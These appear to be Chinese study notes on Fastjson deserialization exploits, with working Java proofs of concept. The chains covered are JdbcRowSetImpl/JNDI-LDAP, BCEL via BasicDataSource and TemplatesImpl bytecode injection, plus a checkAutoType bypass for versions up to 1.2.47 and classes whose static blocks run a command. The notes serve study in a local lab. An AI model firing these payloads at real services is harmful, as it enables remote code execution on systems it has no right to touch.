FastJson反序列化学习
参考:
fastjson反序列化漏洞
FastJson反序列化漏洞
Fastjson
流程分析 maven配置 <dependencies > <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.24</version > </dependency > <dependency > <groupId > com.beust</groupId > <artifactId > jcommander</artifactId > <version > 1.78</version > </dependency > <dependency > <groupId > com.github.javaparser</groupId > <artifactId > javaparser-core</artifactId > <version > 3.24.2</version > </dependency > <dependency > <groupId > com.thoughtworks.qdox</groupId > <artifactId > qdox</artifactId > <version > 1.12.1</version > </dependency > <dependency > <groupId > org.apache.tomcat</groupId > <artifactId > tomcat-dbcp</artifactId > <version > 9.0.20</version > </dependency > </dependencies >
代码 Person package org.example;import java.util.Map;public class Person { private int age; private String name; private Map map; public Person () { System.out.println("constructor" ); } public int getAge () { System.out.println("getAge" ); return age; } public void setAge (int age) { System.out.println("setAge" ); this .age = age; } public String getName () { System.out.println("getName" ); return name; } public void setName (String name) { System.out.println("setName" ); this .name = name; } public Map getMap () { System.out.println("getMap" ); return map; } }
Test package org.example;import java.io.IOException;public class Test { public void setCmd (String cmd) throws IOException { Runtime.getRuntime().exec(cmd); } }
JSONUnser package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.parser.ParserConfig;import com.alibaba.fastjson.serializer.SerializeConfig;public class JSONUnser { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAsmEnable(false ); String s = "{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"}" ; JSONObject jsonObject = JSON.parseObject(s); System.out.println(jsonObject); } }
分析 具体的流程分析可以看fastjson反序列化漏洞 的第一个视频,讲的很细致,这里用视频里最后一个例子分析下
1.2.24利用 JdbcRowSetImpl 代码 package org.example;import com.alibaba.fastjson.JSON;import com.sun.rowset.JdbcRowSetImpl;public class FastJsonJdbcRowSetImpl { public static void main (String[] args) { String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/sjWZhiwC\",\"autoCommit\":false}" ; JSON.parseObject(s); } }
反连服务器用yakit
,像下面这样配置好后点一下生成就好
分析 前面的过程就还是和流程分析里的一样,不同的是调用set
方法后面的部分,这里从第二次invoke
开始调试
Bcel 代码 FastJsonBcel package org.example;import com.alibaba.fastjson.JSON;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.util.ClassLoader;import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;import java.io.*;import java.sql.SQLException;public class FastJsonBcel { public static void main (String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException { String path = "target/classes/org/example/Evil.class" ; ClassLoader classLoader = new ClassLoader (); byte [] bytes = convert(path); String encode = Utility.encode(bytes, true ); String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" +encode+"\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}" ; JSON.parseObject(s); } public static byte [] convert(String s) throws IOException { File file = new File (s); long fileSize = file.length(); FileInputStream fi = new FileInputStream (file); byte [] buffer = new byte [(int ) fileSize]; int offset = 0 ; int numRead = 0 ; while (offset < buffer.length && (numRead = fi.read(buffer, offset, buffer.length - offset)) >= 0 ) { offset += numRead; } fi.close(); return buffer; } }
Evil package org.example;import java.io.IOException;public class Evil { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } }
分析 主要是使用了get
方法,前面就是正常流程,从调用BasicDataSource#getConnection
开始调试
因为开头有$$BCEL$$
,所以可以正常加载,最后执行恶意代码
TemplatesImpl 代码 FastJsonTemplatesImpl package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.serializer.SerializerFeature;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.xml.transform.TransformerConfigurationException;import java.io.IOException;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;public class FastJsonTemplatesImpl { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException { TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field name = tc.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates,"evo1" ); byte [] code = Files.readAllBytes(Paths.get("target/classes/org/example/Calc.class" )); byte [][] codes = {code}; Field bytecodes = tc.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates,codes); String base64Str = Base64.getEncoder().encodeToString(code); Field tfactory = tc.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); String s = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"" +base64Str+"\"],\"_name\":\"evo1\",\"_tfactory\":{},\"outputProperties\":{}}" ; JSON.parseObject(s, Feature.SupportNonPublicField); } }
Calc package org.example;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
分析 不是很实用,因为里面的属性没有自己的get
和set
方法,具体分析可以参考这篇博客
<=1.2.47绕过 maven配置 修改fastjson
版本为1.2.25
,版本更新后主要是在parseObject
中多了checkAutoType
<dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.25</version > </dependency >
代码 package org.example;import com.alibaba.fastjson.JSON;public class FastJsonBypass1 { public static void main (String[] args) { String s = "{" + "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," + "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/rehCxZrA\",\"autoCommit\":false}" + "}" ; JSON.parseObject(s); } }
分析 从第一次在parseObject
中反序列化这里开始调试
这里会从换从中获取到需要的类返回,最后在反序列化的地方进入前面说过的JdbcRowSetImpl
利用部分了。